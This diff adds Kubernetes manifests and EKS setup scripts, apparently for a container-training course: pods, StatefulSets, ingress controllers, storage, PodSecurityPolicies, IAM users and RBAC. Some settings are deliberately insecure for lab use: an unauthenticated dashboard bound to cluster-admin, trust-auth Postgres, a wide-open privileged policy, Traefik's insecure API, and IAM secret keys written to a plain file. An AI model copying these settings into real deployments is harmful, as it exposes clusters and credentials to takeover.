+apiVersion: networking.k8s.io/v1
+metadata:
+  name: allow-webui
+spec:
+  podSelector:
+    matchLabels:
+      app: webui
+  ingress:
+  - from: []
+

k8s/nginx-1-without-volume.yaml

@@ -0,0 +1,8 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-without-volume
+spec:
+  containers:
+  - name: nginx
+    image: nginx

k8s/nginx-2-with-volume.yaml

@@ -0,0 +1,13 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-with-volume
+spec:
+  volumes:
+  - name: www
+  containers:
+  - name: nginx
+    image: nginx
+    volumeMounts:
+    - name: www
+      mountPath: /usr/share/nginx/html/

k8s/nginx-3-with-git.yaml

@@ -0,0 +1,21 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-with-git
+spec:
+  volumes:
+  - name: www
+  containers:
+  - name: nginx
+    image: nginx
+    volumeMounts:
+    - name: www
+      mountPath: /usr/share/nginx/html/
+  - name: git
+    image: alpine
+    command: [ "sh", "-c", "apk add git && git clone https://github.com/octocat/Spoon-Knife /www" ]
+    volumeMounts:
+    - name: www
+      mountPath: /www/
+  restartPolicy: OnFailure
+

k8s/nginx-4-with-init.yaml

@@ -0,0 +1,20 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: nginx-with-init
+spec:
+  volumes:
+  - name: www
+  containers:
+  - name: nginx
+    image: nginx
+    volumeMounts:
+    - name: www
+      mountPath: /usr/share/nginx/html/
+  initContainers:
+  - name: git
+    image: alpine
+    command: [ "sh", "-c", "apk add git && sleep 5 && git clone https://github.com/octocat/Spoon-Knife /www" ]
+    volumeMounts:
+    - name: www
+      mountPath: /www/

k8s/openebs-pod.yaml

@@ -0,0 +1,24 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: openebs-local-hostpath-pod
+spec:
+  volumes:
+  - name: storage
+    persistentVolumeClaim:
+      claimName: local-hostpath-pvc
+  containers:
+  - name: better
+    image: alpine
+    command:
+       - sh
+       - -c
+       - |
+         while true; do
+           echo "$(date) [$(hostname)] Kubernetes is better with PVs." >> /mnt/storage/greet.txt
+           sleep $(($RANDOM % 5 + 20))
+         done
+    volumeMounts:
+    - mountPath: /mnt/storage
+      name: storage
+

k8s/persistent-consul.yaml

@@ -0,0 +1,98 @@
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: persistentconsul
+rules:
+  - apiGroups: [""]
+    resources:
+      - pods
+    verbs:
+      - get
+      - list
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: persistentconsul
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: persistentconsul
+subjects:
+  - kind: ServiceAccount
+    name: persistentconsul
+    namespace: default
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: persistentconsul
+---
+apiVersion: v1
+kind: Service
+metadata:
+  name: persistentconsul
+spec:
+  ports:
+  - port: 8500
+    name: http
+  selector:
+    app: persistentconsul
+---
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: persistentconsul
+spec:
+  serviceName: persistentconsul
+  replicas: 3
+  selector:
+    matchLabels:
+      app: persistentconsul
+  volumeClaimTemplates:
+    - metadata:
+        name: data
+      spec:
+        accessModes:
+          - ReadWriteOnce
+        resources:
+          requests:
+            storage: 1Gi
+  template:
+    metadata:
+      labels:
+        app: persistentconsul
+    spec:
+      serviceAccountName: persistentconsul
+      affinity:
+        podAntiAffinity:
+          requiredDuringSchedulingIgnoredDuringExecution:
+            - labelSelector:
+                matchExpressions:
+                  - key: app
+                    operator: In
+                    values:
+                      - persistentconsul
+              topologyKey: kubernetes.io/hostname
+      terminationGracePeriodSeconds: 10
+      containers:
+        - name: consul
+          image: "consul:1.6"
+          volumeMounts:
+            - name: data
+              mountPath: /consul/data
+          args:
+            - "agent"
+            - "-bootstrap-expect=3"
+            - "-retry-join=provider=k8s label_selector=\"app=persistentconsul\""
+            - "-client=0.0.0.0"
+            - "-data-dir=/consul/data"
+            - "-server"
+            - "-ui"
+          lifecycle:
+            preStop:
+              exec:
+                command:
+                - /bin/sh
+                - -c
+                - consul leave

k8s/postgres.yaml

@@ -0,0 +1,40 @@
+apiVersion: apps/v1
+kind: StatefulSet
+metadata:
+  name: postgres
+spec:
+  selector:
+    matchLabels:
+      app: postgres
+  serviceName: postgres
+  template:
+    metadata:
+      labels:
+        app: postgres
+    spec:
+      #schedulerName: stork
+      initContainers:
+      - name: rmdir
+        image: alpine
+        volumeMounts:
+        - mountPath: /vol
+          name: postgres
+        command: ["sh", "-c", "if [ -d /vol/lost+found ]; then rmdir /vol/lost+found; fi"]
+      containers:
+      - name: postgres
+        image: postgres:12
+        env:
+        - name: POSTGRES_HOST_AUTH_METHOD
+          value: trust
+        volumeMounts:
+        - mountPath: /var/lib/postgresql/data
+          name: postgres
+  volumeClaimTemplates:
+  - metadata:
+      name: postgres
+    spec:
+      accessModes: ["ReadWriteOnce"]
+      resources:
+        requests:
+          storage: 1Gi
+

k8s/psp-privileged.yaml

@@ -0,0 +1,39 @@
+---
+apiVersion: policy/v1beta1
+kind: PodSecurityPolicy
+metadata:
+  name: privileged
+  annotations:
+    seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
+spec:
+  privileged: true
+  allowPrivilegeEscalation: true
+  allowedCapabilities:
+  - '*'
+  volumes:
+  - '*'
+  hostNetwork: true
+  hostPorts:
+  - min: 0
+    max: 65535
+  hostIPC: true
+  hostPID: true
+  runAsUser:
+    rule: 'RunAsAny'
+  seLinux:
+    rule: 'RunAsAny'
+  supplementalGroups:
+    rule: 'RunAsAny'
+  fsGroup:
+    rule: 'RunAsAny'
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: psp:privileged
+rules:
+- apiGroups:     ['policy']
+  resources:     ['podsecuritypolicies']
+  verbs:         ['use']
+  resourceNames: ['privileged']
+

k8s/psp-restricted.yaml

@@ -0,0 +1,38 @@
+---
+apiVersion: policy/v1beta1
+kind: PodSecurityPolicy
+metadata:
+  annotations:
+    apparmor.security.beta.kubernetes.io/allowedProfileNames: runtime/default
+    apparmor.security.beta.kubernetes.io/defaultProfileName: runtime/default
+    seccomp.security.alpha.kubernetes.io/allowedProfileNames: runtime/default
+    seccomp.security.alpha.kubernetes.io/defaultProfileName: runtime/default
+  name: restricted
+spec:
+  allowPrivilegeEscalation: false
+  fsGroup:
+    rule: RunAsAny
+  runAsUser:
+    rule: RunAsAny
+  seLinux:
+    rule: RunAsAny
+  supplementalGroups:
+    rule: RunAsAny
+  volumes:
+  - configMap
+  - emptyDir
+  - projected
+  - secret
+  - downwardAPI
+  - persistentVolumeClaim
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: psp:restricted
+rules:
+- apiGroups:     ['policy']
+  resources:     ['podsecuritypolicies']
+  verbs:         ['use']
+  resourceNames: ['restricted']
+

k8s/pv.yaml

@@ -0,0 +1,20 @@
+kind: PersistentVolume
+apiVersion: v1
+metadata:
+  generateName: my-pv-
+  labels:
+    container.training/pv: ""
+spec:
+  accessModes:
+  - ReadWriteOnce
+  - ReadWriteMany
+  capacity:
+    storage: 1G
+  hostPath:
+    path: /tmp/my-pv
+  #storageClassName: my-sc
+  #claimRef:
+  #  kind: PersistentVolumeClaim
+  #  apiVersion: v1
+  #  namespace: default
+  #  name: my-pvc-XYZ45

k8s/pvc.yaml

@@ -0,0 +1,13 @@
+kind: PersistentVolumeClaim
+apiVersion: v1
+metadata:
+  generateName: my-pvc-
+  labels:
+    container.training/pvc: ""
+spec:
+  accessModes:
+  - ReadWriteOnce
+  resources:
+    requests:
+      storage: 1G
+  #storageClassName: my-sc

k8s/rainbow.yaml

@@ -0,0 +1,147 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: blue
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: blue
+  name: color
+  namespace: blue
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: blue
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: blue
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: blue
+  name: color
+  namespace: blue
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: blue
+  type: ClusterIP
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: green
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: green
+  name: color
+  namespace: green
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: green
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: green
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: green
+  name: color
+  namespace: green
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: green
+  type: ClusterIP
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: red
+  labels:
+    app: rainbow
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: rainbow
+    color: red
+  name: color
+  namespace: red
+spec:
+  selector:
+    matchLabels:
+      app: rainbow
+      color: red
+  template:
+    metadata:
+      labels:
+        app: rainbow
+        color: red
+    spec:
+      containers:
+      - image: jpetazzo/color
+        name: color
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: rainbow
+    color: red
+  name: color
+  namespace: red
+spec:
+  ports:
+  - name: http
+    port: 80
+    protocol: TCP
+    targetPort: 80
+  selector:
+    app: rainbow
+    color: red
+  type: ClusterIP

k8s/registry.yaml

@@ -0,0 +1,15 @@
+apiVersion: v1
+kind: Pod
+metadata:
+  name: registry
+spec:
+  containers:
+  - name: registry
+    image: registry
+    env:
+    - name: REGISTRY_HTTP_ADDR
+      valueFrom:
+        configMapKeyRef:
+          name: registry
+          key: http.addr
+

k8s/socat.yaml

@@ -1,30 +1,19 @@
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: Deployment
 metadata:
-  annotations:
-    deployment.kubernetes.io/revision: "2"
-  creationTimestamp: null
-  generation: 1
   labels:
-    run: socat
+    app: socat
   name: socat
   namespace: kube-system
-  selfLink: /apis/extensions/v1beta1/namespaces/kube-system/deployments/socat
 spec:
   replicas: 1
   selector:
     matchLabels:
-      run: socat
-  strategy:
-    rollingUpdate:
-      maxSurge: 1
-      maxUnavailable: 1
-    type: RollingUpdate
+      app: socat
   template:
     metadata:
-      creationTimestamp: null
       labels:
-        run: socat
+        app: socat
     spec:
       containers:
       - args:
@@ -34,34 +23,19 @@ spec:
         image: alpine
         imagePullPolicy: Always
         name: socat
-        resources: {}
-        terminationMessagePath: /dev/termination-log
-        terminationMessagePolicy: File
-      dnsPolicy: ClusterFirst
-      restartPolicy: Always
-      schedulerName: default-scheduler
-      securityContext: {}
-      terminationGracePeriodSeconds: 30
-status: {}
 ---
 apiVersion: v1
 kind: Service
 metadata:
-  creationTimestamp: null
   labels:
-    run: socat
+    app: socat
   name: socat
   namespace: kube-system
-  selfLink: /api/v1/namespaces/kube-system/services/socat
 spec:
-  externalTrafficPolicy: Cluster
   ports:
   - port: 80
     protocol: TCP
     targetPort: 80
   selector:
-    run: socat
-  sessionAffinity: None
+    app: socat
   type: NodePort
-status:
-  loadBalancer: {}

k8s/storage-class.yaml

@@ -0,0 +1,11 @@
+kind: StorageClass
+apiVersion: storage.k8s.io/v1beta1
+metadata:
+  name: portworx-replicated
+  annotations:
+    storageclass.kubernetes.io/is-default-class: "true"
+provisioner: kubernetes.io/portworx-volume
+parameters:
+ repl: "2"
+ priority_io: "high"
+

k8s/tilt-registry.yaml

@@ -0,0 +1,42 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  name: tilt-registry
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  labels:
+    app: tilt-registry
+  name: tilt-registry
+  namespace: tilt-registry
+spec:
+  selector:
+    matchLabels:
+      app: tilt-registry
+  template:
+    metadata:
+      labels:
+        app: tilt-registry
+    spec:
+      containers:
+      - image: registry
+        name: registry
+---
+apiVersion: v1
+kind: Service
+metadata:
+  labels:
+    app: tilt-registry
+  name: tilt-registry
+  namespace: tilt-registry
+spec:
+  ports:
+  - port: 5000
+    protocol: TCP
+    targetPort: 5000
+    nodePort: 30555
+  selector:
+    app: tilt-registry
+  type: NodePort

k8s/traefik-v1.yaml

@@ -0,0 +1,87 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: DaemonSet
+apiVersion: apps/v1
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+  labels:
+    k8s-app: traefik-ingress-lb
+spec:
+  selector:
+    matchLabels:
+      k8s-app: traefik-ingress-lb
+  template:
+    metadata:
+      labels:
+        k8s-app: traefik-ingress-lb
+        name: traefik-ingress-lb
+    spec:
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      hostNetwork: true
+      serviceAccountName: traefik-ingress-controller
+      terminationGracePeriodSeconds: 60
+      containers:
+      - image: traefik:1.7
+        name: traefik-ingress-lb
+        ports:
+        - name: http
+          containerPort: 80
+          hostPort: 80
+        - name: admin
+          containerPort: 8080
+          hostPort: 8080
+        securityContext:
+          capabilities:
+            drop:
+            - ALL
+            add:
+            - NET_BIND_SERVICE
+        args:
+        - --api
+        - --kubernetes
+        - --logLevel=INFO
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+rules:
+  - apiGroups:
+      - ""
+    resources:
+      - services
+      - endpoints
+      - secrets
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: traefik-ingress-controller
+subjects:
+- kind: ServiceAccount
+  name: traefik-ingress-controller
+  namespace: kube-system

k8s/traefik-v2.yaml

@@ -0,0 +1,114 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: DaemonSet
+apiVersion: apps/v1
+metadata:
+  name: traefik-ingress-controller
+  namespace: kube-system
+  labels:
+    k8s-app: traefik-ingress-lb
+spec:
+  selector:
+    matchLabels:
+      k8s-app: traefik-ingress-lb
+  template:
+    metadata:
+      labels:
+        k8s-app: traefik-ingress-lb
+        name: traefik-ingress-lb
+    spec:
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      hostNetwork: true
+      serviceAccountName: traefik-ingress-controller
+      terminationGracePeriodSeconds: 60
+      containers:
+      - image: traefik:v2.5
+        name: traefik-ingress-lb
+        ports:
+        - name: http
+          containerPort: 80
+          hostPort: 80
+        - name: https
+          containerPort: 443
+          hostPort: 443
+        - name: admin
+          containerPort: 8080
+          hostPort: 8080
+        securityContext:
+          capabilities:
+            drop:
+            - ALL
+            add:
+            - NET_BIND_SERVICE
+        args:
+        - --accesslog
+        - --api
+        - --api.insecure
+        - --log.level=INFO
+        - --metrics.prometheus
+        - --providers.kubernetesingress
+        - --entrypoints.http.Address=:80
+        - --entrypoints.https.Address=:443
+        - --entrypoints.https.http.tls.certResolver=default
+---
+kind: ClusterRole
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+rules:
+  - apiGroups:
+      - ""
+    resources:
+      - services
+      - endpoints
+      - secrets
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - extensions
+    resources:
+      - ingresses
+    verbs:
+      - get
+      - list
+      - watch
+  - apiGroups:
+      - networking.k8s.io
+    resources:
+      - ingresses
+      - ingressclasses
+    verbs:
+      - get
+      - list
+      - watch
+---
+kind: ClusterRoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: traefik-ingress-controller
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: traefik-ingress-controller
+subjects:
+- kind: ServiceAccount
+  name: traefik-ingress-controller
+  namespace: kube-system
+---
+kind: IngressClass
+apiVersion: networking.k8s.io/v1
+metadata:
+  name: traefik
+  annotations:
+    ingressclass.kubernetes.io/is-default-class: "true"
+spec:
+  controller: traefik.io/ingress-controller

k8s/traefik.yaml

@@ -0,0 +1 @@
+traefik-v2.yaml

k8s/update-dashboard-yaml.sh

@@ -0,0 +1,62 @@
+#!/bin/sh
+
+banner() {
+  echo "# This file was generated with the script $0."
+  echo "#"
+}
+
+namespace() {
+  # 'helm template --namespace ... --create-namespace'
+  # doesn't create the namespace, so we need to create it.
+  echo ---
+  kubectl create namespace kubernetes-dashboard \
+          -o yaml --dry-run=client
+  echo ---
+}
+
+(
+  banner
+  namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       --set "extraArgs={--enable-skip-login,--enable-insecure-login}" \
+       --set protocolHttp=true \
+       --set service.type=NodePort \
+       #
+  echo ---
+  kubectl create clusterrolebinding kubernetes-dashboard:insecure \
+          --clusterrole=cluster-admin \
+          --serviceaccount=kubernetes-dashboard:kubernetes-dashboard \
+          -o yaml --dry-run=client \
+          #
+) > dashboard-insecure.yaml
+
+(
+  banner
+  namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       #
+) > dashboard-recommended.yaml
+
+(
+  banner
+  namespace
+  helm template kubernetes-dashboard kubernetes-dashboard \
+       --repo https://kubernetes.github.io/dashboard/ \
+       --create-namespace --namespace kubernetes-dashboard \
+       --set service.type=NodePort \
+       #
+  echo ---
+  kubectl create clusterrolebinding kubernetes-dashboard:cluster-admin \
+          --clusterrole=cluster-admin \
+          --serviceaccount=kubernetes-dashboard:cluster-admin \
+          -o yaml --dry-run=client \
+          #
+  echo ---
+  kubectl create serviceaccount -n kubernetes-dashboard cluster-admin \
+          -o yaml --dry-run=client \
+          # 
+) > dashboard-with-token.yaml

k8s/user=jean.doe.yaml

@@ -0,0 +1,33 @@
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: jean.doe
+  namespace: users
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  name: user=jean.doe
+rules:
+- apiGroups: [ certificates.k8s.io ]
+  resources: [ certificatesigningrequests ]
+  verbs:     [ create ]
+- apiGroups:     [ certificates.k8s.io ]
+  resourceNames: [ user=jean.doe ]
+  resources:     [ certificatesigningrequests ]
+  verbs:         [ get, create, delete, watch ]
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  name: user=jean.doe
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: user=jean.doe
+subjects:
+- kind: ServiceAccount
+  name: jean.doe
+  namespace: users
+

k8s/volumes-for-consul.yaml

@@ -0,0 +1,64 @@
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node2
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node2
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node3
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node3
+---
+apiVersion: v1
+kind: PersistentVolume
+metadata:
+  name: consul-node4
+spec:
+  capacity:
+    storage: 10Gi
+  accessModes:
+  - ReadWriteOnce
+  persistentVolumeReclaimPolicy: Delete
+  local:
+    path: /mnt/consul
+  nodeAffinity:
+    required:
+      nodeSelectorTerms:
+      - matchExpressions:
+        - key: kubernetes.io/hostname
+          operator: In
+          values:
+          - node4
+

prepare-eks/10_create_cluster.sh

@@ -0,0 +1,13 @@
+#!/bin/sh
+# Create an EKS cluster.
+# This is not idempotent (each time you run it, it creates a new cluster).
+
+eksctl create cluster \
+    --node-type=t3.large \
+    --nodes-max=10 \
+    --alb-ingress-access \
+    --asg-access \
+    --ssh-access \
+    --with-oidc \
+    #
+

prepare-eks/20_create_users.sh

@@ -0,0 +1,32 @@
+#!/bin/sh
+# For each user listed in "users.txt", create an IAM user.
+# Also create AWS API access keys, and store them in "users.keys".
+# This is idempotent (you can run it multiple times, it will only
+# create the missing users). However, it will not remove users.
+# Note that you can remove users from "users.keys" (or even wipe
+# that file out entirely) and then this script will delete their
+# keys and generate new keys for them (and add the new keys to
+# "users.keys".)
+
+echo "Getting list of existing users ..."
+aws iam list-users --output json | jq -r .Users[].UserName > users.tmp
+
+for U in $(cat users.txt); do
+    if ! grep -qw $U users.tmp; then
+        echo "Creating user $U..."
+        aws iam create-user --user-name=$U \
+            --tags=Key=container.training,Value=1
+    fi
+    if ! grep -qw $U users.keys; then
+        echo "Listing keys for user $U..."
+        KEYS=$(aws iam list-access-keys --user=$U | jq -r .AccessKeyMetadata[].AccessKeyId)
+        for KEY in $KEYS; do
+            echo "Deleting key $KEY for user $U..."
+            aws iam delete-access-key --user=$U --access-key-id=$KEY
+        done
+        echo "Creating access key for user $U..."
+        aws iam create-access-key --user=$U --output json \
+          | jq -r '.AccessKey | [ .UserName, .AccessKeyId, .SecretAccessKey ] | @tsv' \
+          >> users.keys
+    fi
+done

prepare-eks/30_create_or_update_policy.sh

@@ -0,0 +1,51 @@
+#!/bin/sh
+# Create an IAM policy to authorize users to do "aws eks update-kubeconfig".
+# This is idempotent, which allows to update the policy document below if
+# you want the users to do other things as well.
+# Note that each time you run this script, it will actually create a new
+# version of the policy, set that version as the default version, and
+# remove all non-default versions. (Because you can only have up to
+# 5 versions of a given policy, so you need to clean them up.)
+# After running that script, you will want to attach the policy to our
+# users (check the other scripts in that directory).
+
+POLICY_NAME=user.container.training
+POLICY_DOC='{
+    "Version": "2012-10-17",
+    "Statement": [
+        {
+            "Action": [
+                "eks:DescribeCluster"
+            ],
+            "Resource": "arn:aws:eks:*",
+            "Effect": "Allow"
+        }
+    ]
+}'
+
+ACCOUNT=$(aws sts get-caller-identity | jq -r .Account)
+
+aws iam create-policy-version \
+  --policy-arn arn:aws:iam::$ACCOUNT:policy/$POLICY_NAME \
+  --policy-document "$POLICY_DOC" \
+  --set-as-default
+
+# For reference, the command below creates a policy without versioning:
+#aws iam create-policy \
+#--policy-name user.container.training \
+#--policy-document "$JSON"
+
+for VERSION in $(
+  aws iam list-policy-versions \
+    --policy-arn arn:aws:iam::$ACCOUNT:policy/$POLICY_NAME \
+    --query 'Versions[?!IsDefaultVersion].VersionId' \
+    --output text)
+do
+  aws iam delete-policy-version \
+    --policy-arn arn:aws:iam::$ACCOUNT:policy/$POLICY_NAME \
+    --version-id "$VERSION"
+done
+
+# For reference, the command below shows all users using the policy:
+#aws iam list-entities-for-policy \
+#--policy-arn arn:aws:iam::$ACCOUNT:policy/$POLICY_NAME

prepare-eks/40_attach_policy.sh

@@ -0,0 +1,14 @@
+#!/bin/sh
+# Attach our user policy to all the users defined in "users.txt".
+# This should be idempotent, because attaching the same policy
+# to the same user multiple times doesn't do anything.
+
+ACCOUNT=$(aws sts get-caller-identity | jq -r .Account)
+POLICY_NAME=user.container.training
+
+for U in $(cat users.txt); do
+  echo "Attaching policy to user $U ..."
+  aws iam attach-user-policy \
+    --user-name $U \
+    --policy-arn arn:aws:iam::$ACCOUNT:policy/$POLICY_NAME
+done

prepare-eks/50_aws_auth.sh

@@ -0,0 +1,24 @@
+#!/bin/sh
+# Update the aws-auth ConfigMap to map our IAM users to Kubernetes users.
+# Each user defined in "users.txt" will be mapped to a Kubernetes user
+# with the same name, and put in the "container.training" group, too.
+# This is idempotent.
+# WARNING: this will wipe out the mapUsers component of the aws-auth
+# ConfigMap, removing all users that aren't in "users.txt".
+# It won't touch mapRoles, so it shouldn't break the role mappings
+# put in place by EKS.
+
+ACCOUNT=$(aws sts get-caller-identity | jq -r .Account)
+
+rm -f users.map
+for U in $(cat users.txt); do
+echo "\
+- userarn: arn:aws:iam::$ACCOUNT:user/$U
+  username: $U
+  groups: [ container.training ]\
+" >> users.map
+done
+
+kubectl create --namespace=kube-system configmap aws-auth \
+  --dry-run=client --from-file=mapUsers=users.map -o yaml \
+  | kubectl apply -f-

prepare-eks/60_setup_rbac_and_ns.sh

@@ -0,0 +1,65 @@
+#!/bin/sh
+# Create a shared Kubernetes Namespace ("container-training") as well as
+# individual namespaces for every user in "users.txt", and set up a bunch
+# of permissions.
+# Specifically:
+# - each user gets "view" permissions in the "default" Namespace
+# - each user gets "edit" permissions in the "container-training" Namespace
+# - each user gets permissions to list Nodes and Namespaces
+# - each user gets "admin" permissions in their personal Namespace
+# Note that since Kubernetes Namespaces can't have dots in their names,
+# if a user has dots, dots will be mapped to dashes.
+# So user "ada.lovelace" will get namespace "ada-lovelace".
+# This is kind of idempotent (but will raise a bunch of errors for objects
+# that already exist).
+# TODO: if this needs to evolve, replace all the "create" operations by
+# "apply" operations. But this is good enough for now.
+
+kubectl create rolebinding --namespace default container.training \
+  --group=container.training --clusterrole=view
+
+kubectl create clusterrole view-nodes \
+  --verb=get,list,watch --resource=node
+kubectl create clusterrolebinding view-nodes \
+  --group=container.training --clusterrole=view-nodes
+
+kubectl create clusterrole view-namespaces \
+  --verb=get,list,watch --resource=namespace
+kubectl create clusterrolebinding view-namespaces \
+  --group=container.training --clusterrole=view-namespaces
+
+kubectl create namespace container-training
+kubectl create rolebinding --namespace container-training edit \
+  --group=container.training --clusterrole=edit
+
+# Note: API calls to EKS tend to be fairly slow. To optimize things a bit,
+# instead of running "kubectl" N times, we generate a bunch of YAML and
+# apply it. It will still generate a lot of API calls but it's much faster
+# than calling "kubectl" N times. It might be possible to make this even
+# faster by generating a "kind: List" (I don't know if this would issue
+# a single API calls or multiple ones; TBD!)
+for U in $(cat users.txt); do
+  NS=$(echo $U | tr . -)
+  cat <<EOF
+---
+kind: Namespace
+apiVersion: v1
+metadata:
+  name: $NS
+---
+kind: RoleBinding
+apiVersion: rbac.authorization.k8s.io/v1
+metadata:
+  name: admin
+  namespace: $NS
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: admin
+subjects:
+- apiGroup: rbac.authorization.k8s.io
+  kind: User
+  name: $U
+EOF
+done | kubectl create -f-
+

prepare-eks/70_oidc.sh

@@ -0,0 +1,76 @@
+#!/bin/sh
+# Create an IAM role to be used by a Kubernetes ServiceAccount.
+# The role isn't given any permissions yet (this has to be done by
+# another script in this series), but a properly configured Pod
+# should still be able to execute "aws sts get-caller-identity"
+# and confirm that it's using that role.
+# This requires the cluster to have an attached OIDC provider.
+# This should be the case if the cluster has been created with
+# the scripts in this directory; otherwise, this can be done with
+# the subsequent command, which is idempotent:
+# eksctl utils associate-iam-oidc-provider --cluster cluster-name-12341234 --approve
+# The policy document used below will authorize all ServiceAccounts
+# in the "container-training" Namespace to use that role.
+# This script will also annotate the container-training:default
+# ServiceAccount so that it can use that role.
+# This script is not quite idempotent: if you want to use a new
+# trust policy, some work will be required. (You can delete the role,
+# but that requires detaching the associated policies. There might also
+# be a way to update the trust policy directly; we didn't investigate this
+# further at this point.)
+
+if [ "$1" ]; then
+    CLUSTER="$1"
+else
+    echo "Please indicate cluster to use. Available clusters:"
+    aws eks list-clusters --output table
+    exit 1
+fi
+
+ACCOUNT=$(aws sts get-caller-identity | jq -r .Account)
+OIDC=$(aws eks describe-cluster --name $CLUSTER --query cluster.identity.oidc.issuer --output text | cut -d/ -f3-)
+ROLE_NAME=s3-reader-container-training
+TRUST_POLICY=$(envsubst <<EOF
+{
+  "Version": "2012-10-17",
+  "Statement": [
+    {
+      "Effect": "Allow",
+      "Principal": {
+        "Federated": "arn:aws:iam::${ACCOUNT}:oidc-provider/${OIDC}"
+      },
+      "Action": "sts:AssumeRoleWithWebIdentity",
+      "Condition": {
+        "StringLike": {
+            "${OIDC}:sub": ["system:serviceaccount:container-training:*"]
+        }
+      }
+    }
+  ]
+}
+EOF
+)
+
+aws iam create-role \
+    --role-name "$ROLE_NAME" \
+    --assume-role-policy-document "$TRUST_POLICY"
+
+kubectl annotate serviceaccounts \
+    --namespace container-training default \
+    "eks.amazonaws.com/role-arn=arn:aws:iam::$ACCOUNT:role/$ROLE_NAME" \
+    --overwrite
+
+exit
+
+# Here are commands to delete the role:
+for POLICY_ARN in $(aws iam list-attached-role-policies --role-name $ROLE_NAME --query 'AttachedPolicies[*].PolicyArn' --output text); do aws iam detach-role-policy --role-name $ROLE_NAME --policy-arn $POLICY_ARN; done
+aws iam delete-role --role-name $ROLE_NAME
+
+# Merging the policy with the existing policies:
+{
+aws iam get-role --role-name s3-reader-container-training | jq -r .Role.AssumeRolePolicyDocument.Statement[]
+echo "$TRUST_POLICY" | jq -r .Statement[]
